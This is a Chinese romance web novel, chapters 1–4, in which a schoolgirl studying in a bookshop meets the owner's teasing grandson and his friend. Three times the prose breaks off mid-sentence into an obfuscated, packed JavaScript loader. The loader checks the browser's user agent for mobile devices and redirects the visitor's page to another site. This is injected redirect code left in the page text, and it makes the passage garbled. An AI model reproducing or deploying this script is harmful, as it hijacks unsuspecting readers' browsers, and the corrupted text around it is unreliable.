《夏禾冬橘》 1. 第 1 章 巷尾有一间小书店。 店铺面积不大,四五排木质书架,门侧一道窄窄的木梯通往小阁楼。第二三排书架边靠坐着一个女生,皱着眉在试题上断断续续写着。 不时响起笔尖和纸页摩擦的窸窣声。 做完今天的第三套英语听力,舒禾摘下耳机,小小地伸了个懒腰。 长时间蜷缩的身体有些酸痛,耳朵嗡嗡的,那些仿佛是在中世纪欧洲录制的模糊音频挥散不去。 舒禾叹气,翻找对比着后面答案,一边又在选择题上画了个大红叉。 手机震动的嗡嗡声响起,适时把她从改题的煎熬中拯救出来。 -撸猫大使:你选文科了吗真的假的荷包蛋!!! 底下配了张震惊猫猫表情包。 好友的消息总能将人从负面情绪中带出来,舒禾浅浅弯起唇角,戳着手机。 -禾:荷包蛋可能是假荷包蛋。 -禾:但是选文科是真的。 对面显然大为震惊,一条条消息轰炸过来。 -撸猫大使:wc这也太突然了! -撸猫大使:诶你妈妈之前还说文科学了屁用没有呢,她居然同意了吗?! -撸猫大使:嘿嘿不过又能把我爹的黑暗料理分你一半了。 -撸猫大使:我本来都要为我们下学期跨越两层楼的友情哭泣了……流泪猫猫头jpg。 这部手机是她妈妈用了五六年淘汰下来的,很老的机型,消息接收和发出的速度堪比蜗牛。 等好友的消息弹完,感觉又过了半辈子。 她一字一字回道: -禾:那你可能还得哭泣一下,我是瞒着他们选的。 -禾:开学前不能瞒天过海的话,你大概会在理科班教室看见一个被打扁的荷包蛋【大哭】。 -撸猫大使:我的天,你胆子这么大了! -撸猫大使:不过,荷包蛋本来就是扁的好不好。 …… 两人短暂聊了几句,舒禾应下明天和她见面,再顺带解释突然选择文科的事情。 放下手机,她继续批改完这套听力专项训练,越往下越难堪,二十道里就有十一道红叉,过半的错误率,舒禾心里哀嚎了一声,泄气地双手捂住脸。 她默默计算着开学的时间,规划着后面的日程。 想出神的时候,突然传来一声绵长的猫叫,把她吓了一跳。 视线从指缝中漏出,一只长毛三花猫不知从哪儿出现,夹着细细的奶音向她走来。 迈着小猫步,猫爪触碰地面发出轻巧的哒哒声。 眼神亮了亮,舒禾小心翼翼向三花猫摊开手,轻声几乎用气音说:“小猫小猫,你从哪里来的呀?” 猫猫睁着金蓝异色瞳孔,身材庞大魁梧,长尾慢悠悠地晃,着实不能称之为小猫。 但好像听懂在叫它,又冲她喵喵叫了两声,在她小腿上蹭了蹭。 身侧小猫作伴,毛发像带着阳光晒过的暖香,连英文单词都显得没那么面目可憎,她开心地揉弄一会儿小猫,便继续沉心学习。 舒禾高一成绩在年级一两百名,忽高忽低,英语和数学是最拉低排名的科目。 留给她的时间并不多,开学后周测月考接踵而至,她必须赶在妈妈发现之前考出一个令人信服的成绩,不然就又会回到被人驱策的羊群之中。 她不想再做那只羊了。 沉浸下来后便像置身于虚无中,只看得见眼前的英语试卷,时间流逝得飞快。 午后干燥的风从窗隙中穿过。 男生打着哈欠跨过门槛,无精打采的嗓音带着浓浓倦意。 “外公,你又挟持我的猫。” 书店里忽地传来人声,舒禾下意识抬头望了一眼,却没看见说话的男生,大概是被挡在了书架后面。 只见一位老人瞪着眼,对那个困意浓厚的男生气道: “都说了这猫黏人,非要吵着闹着跟着我来!倒是你,昨晚又通宵打游戏了是不是?” 舒禾认得这个老人,是这间书店的主人,偶尔会从阁楼上下来,这个暑假撞见过两三次。 老人穿着深色的宽松衬衫搭米色西裤,戴着无框眼镜,看起来儒雅谦和,训人时却喋喋不休,“哎,猫都知道要外出运动运动,你说你这主人当的,成天就把自己往卧室里一关,窗帘一拉,昼夜不分地过日子。” “你外婆成天担心你。” “好歹也偶尔出来走走嘛,晒晒太阳,听听风声,看这日子多舒坦不是?” 男生顺从地点头,垂着眉眼,安安静静侧靠在墙上听训斥,看起来似乎还没睡醒。 老人一瞧就知道他又当耳旁风,冷哼一声,转身走到他专属的躺椅上一坐,摇头晃脑,开始夸张地唉声叹气:“就你那发小,程敬宇啊。” “那小子前阵子还特别贴心地打电话给我,哎哟那嘴甜的,一口一个外公好,问我最近过得怎么样,一直陪我这个老头子聊天。” 他瞅了眼旁边神游天外的少年,恨铁不成钢道:“听说人每天都大早起来晨跑,闲了就去打打高尔夫,游游泳啊骑骑马啊,这暑假过得特别丰富,哦,好像还跟他家厨师学做了不少菜给家里人吃。” “什么法式蒜香羊排啊,三文鱼菌菇焖饭啊……都是些你们年轻人爱捣鼓的东西。” 外公的语气越听越羡慕。 安静了一会儿,男生总算拖着腔调“哦”了一声:“这样啊。” 他笑了下,笑声清澈又带着点散漫,勉强打起精神说:“那我下午刚出门那会儿,可能不小心打错电话打给猪圈里的猪了吧。” “深山老林里的野猪,睡觉的哼哼声都没他大。” “……” 老人闭上嘴,面色不愉盯着他看。 男生恹恹地回忆:“前两天还给我发消息说他在学做蛋炒饭,结果把醋当成酱油放,还把饭给炒糊了。” “昨晚打着打着游戏突然挂机,边跑边嚎,说外卖吃坏肚子了要去蹲厕所。哎人同样都叫程敬宇,这生活质量怎么就和您说的那位天差地别。” 男生说到这里居然还带了点惋惜:“果然还是同人不同命。” 外公听完绝望似的闭了闭眼,气得哼了一声,不想再跟他说话。 舒禾本来在做题,不小心听了一耳朵,没忍住笑出了声。 书店里阒静,这声轻笑便显得格外突兀。 男生好像这时才注意到这里还有人,下意识循着声音望来一眼。 感受到那道陌生的注视,舒禾心里微窘,果然还是不能乱凑热闹。她忙不迭盯着手中试题,做出一副全神贯注的模样,装作在看什么精彩绝伦的故事书。 好在那道目光只是淡淡扫来一眼,很快就兴致寥寥地移开。 “阿姨跟我说,早上看见您拿着小鱼干哄着猫出门了。”男生转头继续和外公说话。 舒禾尴尬地松了口气,不再分心,定了定神把注意力集中到阅读题上。 做完两道题,翻到下一页,她突然听见侧方传来一道脚步,混着纸张的簌簌声由远及近。 随之而来的,是空气中忽然飘来的一股极淡的苦橙香气,像夏季尚且青涩的柑橘,酸涩微苦。 舒禾脖颈一僵,视野中便出现一双黑色休闲鞋。 夏季雨水淅沥,这双鞋竟然干净得一个泥点都没有。 男生停在她面前。 这间书店装修得很老了,没有安置桌椅,不知道是不是只供人借阅回家去读,但待在家里免不了要跟她妈妈碰上,所以舒禾还是选择呆在这里,尽管只能靠坐在地上,至少无人打搅。 现在头顶光线被男生挡住,窄长的影子投射在她身上,试题里的一个个单词逐渐变得晦暗,模糊了边角。 女孩缩在这道阴影里,像被困住的一株小禾苗。 舒禾捏了捏笔杆,实在装不下去,于是抬了抬眼。 四目相对。 男生微微歪着头,肤色很白,黑发柔软垂着,灯光铺洒在他高挺的鼻梁,面上阴影错落,衬得眉骨下眸色极黑极深。 身上是件黑色短袖配同色运动长裤,衣服上没有多余的图案样式,只在角落有一个她不认识小logo。整个人清瘦挺拔,特别简单干净的穿搭,在他身上却显得格外时髦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888982|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她目光从男生脸上扫过,呼吸微屏,无意识往后靠了靠,紧贴着身后书架。 这人的长相就像是,从她初中看的那些少女漫里走出来的男主。 或许比漫画还要令人深刻。 难以否认她看呆了几秒。但随之而来的,是一种难言的别扭和尴尬,就像她从来不敢进入那些装修得特别精美高端的书店。 此刻她也垂了垂眼,没敢继续对视。 一直安静待在身旁的三花猫嗅到主人气味,甩着尾巴起身,脑袋绕着男生的腿用力蹭了一圈。 “猫~猫~” 边蹭边叫,大猫依人。 男生没有管它,垂眼看着舒禾,也可能是看着她膝上摊开的教材,总之一时间没说话。 舒禾迷茫睁着眼睛,视线放空在对面书架上,胡乱打着转。 这人停在她面前,显然不是单单路过,看似也不像是来捉他的猫。 想起先前她那声突兀的笑,舒禾咬着唇,难道来找她讲道理?可她真不是故意偷听的呀。 舒禾有些无措。 手臂下意识挡了挡试题。 这里光线昏暗,他大概也看不清上面的字。 拜托了,就当她是看故事书看笑的吧……舒禾紧张得想哭了。 心里正七上八下时,男生终于开了口。 声音也极淡:“挡道了,让让。” 空气蓦地静了两秒。 她霎时面红耳赤。 “啊?哦。” 舒禾慌张抱着教辅资料书站起来,手指不知所措地抠着书页。 书架最底层是一排柜子,她让开之后,方才还大猫依人的三花立刻冷酷地抛弃了它的主人,拿爪子一下下刨着柜门。 它将柜门刨开,脑袋伸进去,叼出来一袋鳕鱼冻干,扔到两人中间,“猫”了一声示意他们。 男生啧了声没有动。 舒禾也僵着没动。 怪不得小猫一直黏在身边不走……原来是闻到零食味道了啊。 她还以为她是什么天选养猫人。 两个人类都没动,猫猫十分不满地又叫了两声,猫爪拍得包装袋哗啦响。 舒禾视线飘忽两下,听到身旁那人低斥:“急个屁,别吵。” 男生声音极不耐烦,带着点没睡醒的哑。舒禾差点儿以为在骂她,不知道为什么有点紧张,跟小学生罚站似的站在一旁,睁圆了双眼注视一人一猫。 他蹲下身,捡起冻干袋子,撕开喂了一块给早已饥渴难耐的大猫。 男生肩背宽阔,脊骨弓着,微微隆起一个弧度,短袖下延伸出来的手臂线条流畅又漂亮。 舒禾视线停了一秒,又看向眯眼享受的大猫。 好可爱啊,有点想摸。 但是又不敢。 她略局促地站着,不知道现在该不该走。 男生手心还摊着几块冻干,对埋头苦吃的猫冷冷“呵”了声。 “都胖成球了,还一点吃的就能把你哄走。” “一点良心没有。” “明天就让你减肥。” 猫猫才不管,猫猫只管大吃特吃。 喂完猫,他将袋口封上,放了回去。 而后直起身,没怎么注意她,径直往外走,猫猫吃饱后亦步亦趋跟在他身后。 舒禾松了口气。 终于走了。 她拿出手机看了眼时间,快四点,思忖着再做一套题,差不多就该回去了。 她还得给在麻将桌上征战一下午的陈女士做饭。 刚准备坐回去。 复又听到已经走远的男生脚步微顿了顿。 空气里落下一声懒倦的低笑,似带了点嘲意。 舒禾顿感不妙。 “李华如果知道你看到他的信后笑得这么开心,一定也很高兴。” “……” 李华,她刚才英语阅读题的主人公。 他看到了! 他居然看到了!!还要故意嘲讽一句! 舒禾羞窘地闭上眼。 啊,这什么人…… 能不能给他缝上嘴啊。 2. 第 2 章 舒禾第一次知道,帅成这样的人也能这么欠揍。 她悄悄深呼吸几下,耳根因着他这句话有点发烫,染上了羞耻的绯红。 好在这个人看起来是真的不太爱在外面停留,去和他外公打了声招呼,便带着他的猫离开了。 好像出门一趟就是为了逮只猫回家。 大概是更喜欢宅在家里吧。 舒禾没有多关注,心情平静下来后继续埋头做题。 她英语阅读和作文都不算差,唯有听力是最大的短板,可能还是缘于对单词不够熟悉,所以在听力题语速过快和连读的情况下,总是模模糊糊的听不太明白。 这个问题好像也找不到什么捷径,舒禾只能准备花时间多听多练了。 赶在五点前做完了今天最后一套题,又认真地一道道批改完,不知道是语感上来了还是这套题较为简单,错误率总算没有那么高。 她舒了口气。 一点点地进步就好了。 就像田野里一点点成长的小禾苗,总会有丰收的那一天。 她收拾好东西准备回家。 舒禾就住在书店背后的老小区,是处于蓉城一环路内的老式居民住宅。 地理位置十分优越,周边两所大型综合性三甲医院,不远就是人民公园,省内数一数二的蓉大附中也在此处。 医疗、教育、生活,都非常便利。当然,陈女士心中最盼望的还是拆迁。要有那天,可就真发达了。 沿着这条破破烂烂的窄巷出去,到家也就十分钟左右的距离。 快走到的时候,人也渐渐多了起来,街道各种茶馆足浴早餐铺子林立,这栋老式居民楼就夹在其间,门口坐着两个光膀子大爷,摇着蒲扇,有一搭没一搭地闲聊。 八月初天气闷热,烟味汗味,混杂着垃圾桶内残留物发酵的恶臭,朝四周蔓延着,舒禾早已习惯,屏住呼吸径直走进去。 “小禾回来啦?你妈还在里头和王大婶那几个搓麻将呢。” 大爷瞥见她,打了个招呼。 这种老式居民楼,街头邻里的基本都是熟人,舒禾应了声往里走,楼下院坝里摆满麻将桌,每桌旁边都放了张塑料凳,上面是瓜子花生和茶水。 没待她看清人,倒先听到了她妈豪迈惊喜的高呼: “哎哟,胡了胡了!” 陈女士笑得眼尾额角都起了皱,也不管同桌的阿姨脸色好不好看。 “晓得你胡了,喊弄大声干啥子,耳朵都给我震聋了。” 舒禾走近,认出说话这个就是王婶。 陈女士笑眯眯地端起菊花茶喝了口,一抬头看见她,赶紧道:“回来得正好,肉我都解冻了,你回去切个莴笋就行,炒好了给我打电话。” 舒禾点头说好,又乖乖地挨个喊了旁边坐着的嬢嬢婶婶,才穿行到她们后边上楼。 楼梯间里还能听到她们热闹的谈话。 “小禾也太乖了,不像我家那个臭小子,放假成天往外跑,饭点了都看不见人。” “还成吧,女孩子嘛就是要听话些。” “她下学期高二了啊?在附中成绩应该挺好吧?” “哎呀一般般,理综学得不好,高二分班就更难了,这不每天都出去学习。” “唉,还是女孩儿乖呀。” …… 舒禾默不作声上了二楼,踏进家门。 晚饭过后,陈女士打包了饭菜,要给看店的舒远山送去。 今天赢了快两百块钱,她眼角眉梢尽是愉悦,临走前,终于分出心思给女儿。 “最近学得怎么样?化学物理有进步没有?” 舒禾洗碗的手紧了紧:“还行。” 陈燕梅点点头:“那就好,妈妈知道你一直都很自觉,这几科一定要学好,晚上有时间就多看书做题。”说完走出了家门。 舒禾房间里有个木板桌,是以前陈燕梅打牌用的,后来贡献出来给她当书桌。 她每晚都伏在桌边预习数学到十一点左右。 今晚睡前习惯性看了会儿手机,回完重要消息,正准备关机睡觉时,却瞟到角落里被她遗忘许久的闲鱼多了两个小红点。 -你好。 -请问还接单吗? 是上学期寒假时她建的上门洗猫链接,已经很久没有人问,她都差点忘了这回事。 舒禾礼貌拒绝了,顺手改了个999防拍价。 - 夜里下了场雨,舒禾听着雨声没怎么睡好。 翌日一早顶个大黑眼圈帮着做了些家务活,午饭后才有时间补了会儿觉,醒来都一点半了,匆忙收拾书包出门。 雨后路面湿滑,舒禾一边在心里规划着今天的学习计划,一边小心翼翼避开了这条路上第五块松动的水泥砖。 全是她这段时间踩出来的经验。 快到书店的时候,手机震动了一下,是好友发来的消息。 -撸猫大使:呜呜呜对不起荷包蛋,今天店里好忙,我被我妈逮住了,可能要晚两三小时到。 配了个跪地求饶的表情包。 舒禾回复她没关系,反正也是来书店学习的。 正低头打着字,猝不及防踩的下一块砖就是松动的,泥水从砖缝里迸溅到裤腿上。 舒禾:…… 唉。 今天回去又得搓泥点了。 她认命地拿出一包纸巾暂且擦了擦。 不远处忽然炸开一道暴躁的骂声:“卧槽又踩到了!今天第八次了啊,我他妈裤子都快能滴水了!” 舒禾顿了顿,居然有人比她还倒霉啊。 她擦着裤角,忍不住回头看了眼。 阶梯上站着两个男生,一个在生无可恋扯着他被泥水摧残的裤子哀嚎,另一个正从自行车上下来,手里拎了罐橘子汽水,事不关己地把自行车推到银杏树下停好。 舒禾看着那张眼熟的脸呆了呆。 那个倒霉的男生还在骂骂咧咧,不知是否她目光停留太久,两个人都似有所觉地望了过来。 程敬宇首先看到她手里拿的那包纸巾,登时双眼放光,像看到了救世主一样向她奔来。 然后在奔的路上又踩了两脚。 “卧槽你大爷的!” 舒禾吓得退了一步,双目睁得圆圆的。 程敬宇跑到她面前停下,注意到她害怕退后的动作,挠了下头,“呃……我不是骂你啊妹妹,纯属口头禅,你瞅我裤子!” 他说着指了下,又瞥见女生的裤腿上也溅有几个泥点,但比他好多了。 “咱俩患难之交啊妹妹!能给我几张纸巾用用么?” 听他语气感觉都快哭出来了,舒禾顿了顿小声说好,把手里还没来得及放回去的那包纸巾递过去。 旁边一道悠哉悠哉的脚步声渐渐靠近。 那罐鲜艳的橘子汽水出现在余光里。 一同出现的还有他随意搭在瓶身上的手指,白皙,瘦长,骨节分明。 舒禾看到他就想起昨天的事情,浑身不自在起来,默默垂下视线。 怎么又是这个人。 幸亏男生没说话,也没看她,只无所事事地站在一旁,时不时喝口汽水,等着他朋友。 这条老巷子没什么人走,路面年久失修坑坑洼洼的,也没人管。 程敬宇一边擦一边吐槽,瞟见他好哥们干干净净的裤腿,惊道:“不是,贺行雪你开挂了吧,他妈的这地儿三步一个雷,为啥你就踩不到啊?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888983|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气万分不服。 贺行雪昨晚又熬了通宵,整个人都恹恹的,眼皮半抬不抬。 女生呆呆地杵在去书店的必经之路上,黑眼圈看着比他还严重,啧。 “因为我走路看路啊。”他轻飘飘回复。 而后扫了眼女生裤角上的几个小泥点,又看了看程敬宇快包浆的裤子,颇为嫌弃地离他们远了点。 看见他小动作的舒禾:……怎么感觉她也被骂了。 程敬宇喊了声“去你的”,擦完一条腿,又抽了几张纸擦另一边。 他嘴里闲不住,不想到贺行雪那里自找苦吃,于是转换目标,瞅了眼舒禾。 “放暑假了啊妹妹?” “嗯。” “去书店学习?” “对。” “初中高中啊?” “快高二了。” 嘿,那不是一样大? 这脸长得太嫩了,看着跟初中生似的。 他忍不住又问:“哪个学校啊?” 舒禾抿着唇没说话,略带警惕地看了他一眼。 程敬宇没听到回答,抬头瞅了眼,却见她眼底略微的警惕之色,顿时有点受伤了。 他好歹在学校也是经常收到情书的人,看着很像什么人贩子么? “我俩下学期也高二,寻思咱们说不定一个学校的,还能多交个朋友,我没别的意思,你别担心啊。”他解释。 虽然这附近就只有一个附中,但如果同校还同年级也挺巧的。 舒禾大概看出他不是坏人,但又没他这么自来熟,刚认识就能交上朋友,有点不知所措地咬了咬唇。 其实,连认识都算不上吧,就是一面之缘。 程敬宇还想继续说什么,贺行雪“啧”了声,忍着嫌弃把他拽回来:“人有朋友了,你别老往前凑。” 又不耐烦地催促:“快点擦完走了。” 程敬宇“哦”了声,随便胡乱擦了几下,把剩下半包纸巾还给她,舒禾伸手接过时,他突觉有什么不对。 “等会儿,你怎么知道她有朋友?” 程敬宇说着看了看她,又狐疑地看了看贺行雪。 渐渐的,他回过味来,大声“卧槽”了一句。 “你俩认识的啊?!” “……” 认识的话,把他看成人贩子也勉强能说通了。 毕竟贺行雪那张脸任谁看了都忘不掉。 别说女孩儿了,男生看到都会忍不住多瞅几眼。 舒禾本来接过纸巾时就准备走了,此刻背脊都僵了僵,生怕再从那个人嘴里听到什么石破天惊的话。 毕竟,她可找不到一个远在欧洲的朋友。 她连忙转身迈向书店,步子都快成小跑了,还想起来要礼貌道别,低头快速含糊地说:“我有事先走了……” 女孩儿落荒而逃的背影像个小兔子,转瞬消失在书店门口。 程敬宇懵了一下:“怎么突然跑了?” 他很吓人吗?? 贺行雪百无聊赖地收回视线,端起汽水喝了一口。 不对劲,万分不对劲。 程敬宇又将目光转回贺行雪身上,等待他给出一个答案。 哪知他的好兄弟直接掠过了他,语气不咸不淡的:“走了,外公等着。” 一副懒得多说的架势。 见鬼了。程敬宇瞪着眼,他们不就几天没见,贺行雪这个足不出户、“待字闺中”的大少爷上哪儿认识的别人?! “我靠,你背着我和别人有小秘密了?!” 还他妈是个女生。 程敬宇不可置信的表情活像个被抛弃的糟糠妻。 贺行雪立马嫌恶地说:“滚,我直的。” 3. 第 3 章 贺行雪的嘴里是逼问不出来任何东西的,这一点程敬宇从小就领会过了,但他又对于贺行雪在国内居然认识除他之外的同龄人这件事,觉得特别惊奇。 毕竟这位少爷回国大半年,基本都把自己关在家里,平时他只能搁游戏上看见他。 想找他出来打个球?嘿,不好意思,这人派头比世界巨星都大,出不出来还得看心情,先提前个三月半年的预约吧。 就连今天也是被他硬薅出来的,谁让这狗昨天在外公面前揭他老底。 这事儿问又问不出来,想得程敬宇抓心挠肝的。 在阁楼上陪外公下棋的时候,他趁机打听:“外公,楼下那小姑娘您认识么?” 沙发上正横屏打游戏的贺行雪掀了掀眼皮。 “倒是见过几次,好像经常来店里写作业。”范兴文说,“昨天小雪过来逮猫的时候还遇上了,怎么了?” “哦,原来是这样啊,那就没事了。” 程敬宇有点遗憾地咂咂嘴,他还以为能发掘出什么惊天大秘密。 “你们俩快开学了吧?” “八月中下旬那会儿,还剩大半个月吧。”程敬宇一算时间,只觉这暑假过得也太快了。 “那快了啊,小雪对这里不熟悉,到时候还得多麻烦你照应一下。” “害,谈什么照应,都哥们。” 范兴文就只有贺行雪他妈妈一个孩子,她意外离世后,贺行雪就回了国,休学了半年。 程敬宇虽然平时有些不着调,但对长辈挺孝顺,他和贺行雪一起长大,便也把外公外婆当成了自家长辈,时不时过来陪他们解解闷儿。 下完一盘棋,范兴文兴致被挑起来,瞥见水杯空了:“小雪,帮我下楼接杯水。” 贺行雪兴致缺缺地“嗯”了声,将手机熄屏,拿起外公的水杯走了出去。 古旧的木质楼梯咯吱咯吱响,他边往下走边捂嘴打了个哈欠。 今早七点他才睡下,还做着梦呢,就被程敬宇那个狗东西破门而入。 贺行雪心有不满,路过几排书架时,视线无意间扫过其中两排的过道。 过道里坐着女孩纤细的侧影,他目光在她脸颊垂落的发丝上一掠而过,没做停留继续提步往前。 接完水,回去路上他又懒懒散散瞥去一眼。 只见刚还在埋头做题的人现在怀里抱着个什么东西,双手环着,用力得整张脸都皱起来。 他瞧着,眉梢轻轻扬了下。 舒禾刚做完一套题,有点口渴,从书包里掏出保温杯。 这个保温杯还是她小学六年级买的,图案特别幼稚,以目前眼光看来还有点土,但是非常小巧便携,她便一直用到现在。 今天早上舒远山替她倒了茶水进去,然而不知道是不是装太满了,如今竟然拧不开盖子。 舒禾手都拧红了,还有点不信邪,抱着保温杯又尝试了一次。 她深呼吸几口,手指压在杯盖上,双眸紧闭,使尽浑身力气地一旋—— 一丝动静都没有。 她呆怔看着杯子,有点怀疑人生了。 一声嗤笑猛地把她从懵然中惊醒。 舒禾慌慌张张转头,看见从右边踱步过来一个男生。 那道瘦长的影子又投落而下,紧密地罩住她。 贺行雪:“我帮你?” 舒禾抿了抿唇,之前两次碰面的场景还历历在目,让她感到有些微的不自在,夹杂着一丝窘迫。 但又想到不能一下午不喝水,自己也确实打不开,她短暂犹豫了几秒,还是小声道句谢谢,将杯子递了出去。 然而一递出去就后悔了。 她看着半空中,那个布满荷包蛋图案的、幼稚土气又花哨的杯子,微微红了脸。 递也不是,收也不是,一口气吊在胸口。 昏昧中响起一声若有似无的笑。 特别淡的一声,稍纵即逝,若不是离得足够近,舒禾会怀疑自己根本没听到。 但不知道是不是自己小人之心了,她总觉得这里头带了点嘲笑的意思,于是那口气便哽在胸口不上不下。 好在男生伸出了手,免去了她被憋死的命运。 “帮我拿一下。” 贺行雪递过他外公的杯子。 接过时,她的手指不小心蹭过他的指尖。 白玉似的触感,带着凉意,舒禾缩了缩手。 刚才还冥顽不灵的盖子,在男生手中很轻松的就被制服,再递还给她。 他不是那种健壮魁梧的身形,甚至算得上清瘦单薄,手背苍白的皮肤透着淡青血管,看起来有些病态,没想到力气却很大,完全不是她能比的。 舒禾这次接过时注意着避开了他的手指,再把他外公的水杯还给他,又认真地说了句谢谢。 思及刚才可能在心里误会他了,所以她第二声谢谢除了礼貌外,还带着浓浓真情实感的感激,说起来字正腔圆。 就很像个小学生。 贺行雪心想,随口回道:“不客气。” 而后顿了顿,他又慢吞吞补了句:“这水杯挺好看啊。” “……” 舒禾还是很想缝上这张嘴。 贺行雪微微偏着脑袋,眼尾有一点上翘,是一双特别昳丽的眼睛,但那眼神怎么看都像在笑话她。 舒禾脸颊一点点染上绯红,下意识把保温杯往怀里掩了掩,忍住羞耻,略微咬着牙说:“谢谢。” 都说了第三遍了,显然开始赶人了。 贺行雪懒懒地哼笑了声,没再停留,给外公护送水杯上楼去了。 舒禾叹气,整理着乱糟糟的心情,喝口老爸泡的茶,打起精神继续专心做题。 - 程敬宇又陪范兴文下了两把,无一例外输得很惨,他棋艺本来就不是很好,只是小学的时候被爸妈勒令当课外爱好学的,如今临阵上场肯定被杀得片甲不留。 “行了,难得你们俩闲得住,都陪我这个老头子待了这么久了,也该嫌无聊了。” 范兴文摆了摆手,示意他俩自行去玩。 “哪里话啊外公,这不磨练我棋艺呢嘛,多好的机会啊,别人想找都找不到。”程敬宇嬉皮笑脸地说。 范兴文摇头笑笑没说话,从书匣里抽出自己刚才翻看过的那本书,捏起眼镜戴上。 程敬宇见状,只好起身道:“那我下次再和阿雪过来看望您。” 临走的时候,贺行雪脚步微顿,握住门把手回头看了一眼。 范兴文也恰在这时从书里抬起头。 范兴文六十多岁,就这半年间头发几乎全白了,若不是早年注重锻炼,身骨较为硬朗,仪态也超乎常人,光看面貌,怕是都像七老八十的人了。 两人相顾静默片刻,还是范兴文先开了口:“回去吧,记得每天按时吃药,你总把自己关在卧室,我和你外婆都没办法随时照看你。” 那猫儿算得上是他很顾重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888984|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了,所以昨天他把猫哄骗出门,就是想要他多出门走一走,看一看。 蓉城的八月阳光暖热,夏风柔和微燥,草木旺盛生长,万物欣欣向荣。 世间的风霜雨露,也伴随花团锦簇。 贺行雪点头说好。 - 舒禾收到好友消息说马上到了,她回复说自己坐在角落,以防她找不到,回完后,又低头看着刚改完的试卷。 她做的是附中自主命题的高二英语卷,一百五十分的满分,批改完后算了算,91分,才刚踩着及格线。 这个英语成绩在平行班里也只徘徊在中游,好在现在才高一刚结束。 对这个结果舒禾说不上满意还是失落,只觉得她还有好长的一段路要走,而时间不等人。 书店楼下没什么人,就一个守店的短卷发阿姨,靠在椅背上戴着耳机刷短视频。 程敬宇大跨步边下楼梯边回头说:“去打球呗?” 贺行雪说:“不去。” 程敬宇:“去啊!就缺你一个!” 贺行雪拒绝:“我要回去补觉。” 男生站在楼梯上,自上而下俯视程敬宇,懒散地笑了一下:“你知道我这张脸上长了黑眼圈,会有多少人心痛吗?” 他顿了顿,又说:“算了,你应该体会不到。” 程敬宇听得特别想给他一拳。 “……操,别搁这自恋了,大白天睡觉多浪费光阴啊。” 吐槽归吐槽,但他猛一想,觉得这人说得还真没什么毛病。 这哥们真是他从小到大国内国外见过长得最牛逼的人。 想起他之前给人从床上硬薅起来,程敬宇摸了摸鼻尖,又忍不住打量贺行雪。 这人之前天天罩在伦敦阴云密布的天气下,本来就白,回国后又不爱出门,那苍白的皮肤跟他一比就像活人死人的区别,衬得眼底的淡青也特别明显。 他便挠挠头,没好意思再说,仰天长叹:“唉,那好吧。” 反正他还有SAT的reading还没做,赶在爸妈回家前写一点,说不准他们一个高兴,开学的时候往他卡里多打点钱呢? 嘿,程敬宇一想到这里就兴奋起来了,出门的时候,还看见那位疑似同校的纸巾侠埋着头,正在学习的路上刻苦奋斗。 “太努力了。”他赞叹。 贺行雪看了一眼,拍拍他的肩膀:“多学着点。” 啧。 程敬宇摩挲着下巴,又瞅了眼贺行雪。 然而贺行雪直接越过他行至门口。 男生脸上看不出什么表情,只有想赶紧回家睡觉的欲望。 好吧。程敬宇鉴定完毕,确认这两人没有背着他有什么“私情”,便放心了。 自己单身固然难受,但朋友脱单更令人绝望啊! 还好,还好,程敬宇想着想着就笑了。 被人注视的感觉太过浓烈,舒禾以为是好友到来,抬了抬眼,却只见一个错身而过的瘦长身影,和一个站在原地笑得龇牙咧嘴的人。 这个龇牙咧嘴的人看见她,对她招了招手,随后快走几步追上前面那人,边走边对她告别: “江湖再见啊纸巾大侠!”他热烈的呼喊随风传递过来,伴随着另一个男生的淡声嗤笑,一同落入耳中。 纸、巾、大、侠。 什么奇怪的称呼啊…… 舒禾赶紧晃了晃头,把这个令人羞耻的称呼从脑海中赶出去。 4. 第 4 章 不久后,门口又传来一阵脚步声,舒禾抬头,就看见好友任姝宁满脸恍惚地走了进来,嘴里不停念叨着。 “禾啊,舒禾啊……卧槽,你知道我刚看见什么了吗?” 任姝宁这副神思游离的样子很像在说梦话。 舒禾欲言又止,担忧地看着她:“看见什么了?” “帅哥啊!好大两个帅哥!就从我面前走过去!” 任姝宁激动得有些语无伦次了:“特别是左边那个,巨帅!巨帅你知道吗!我真没骗你,好可惜你没看到,我靠感觉我都不用追星了,星就从我面前飘走了……” 她越说越激动。 刚才,两个帅哥? 舒禾愣愣地听着。 应该就是那个叫贺什么的那两个男生吧。 她没记住名字,不过赞同地点了点头,客观讲确实挺帅的,她第一次见的时候都呆了两秒。 任姝宁抱头呜咽了一声:“啊,为什么总让我在邋遢无比的时候遇见帅哥……” 她来得太匆忙,头发上衣服上还粘了好多狗毛猫毛。 舒禾安慰她:“你现在也很好看的。” 任姝宁还是很想抱头痛哭。 舒禾无奈地看她。 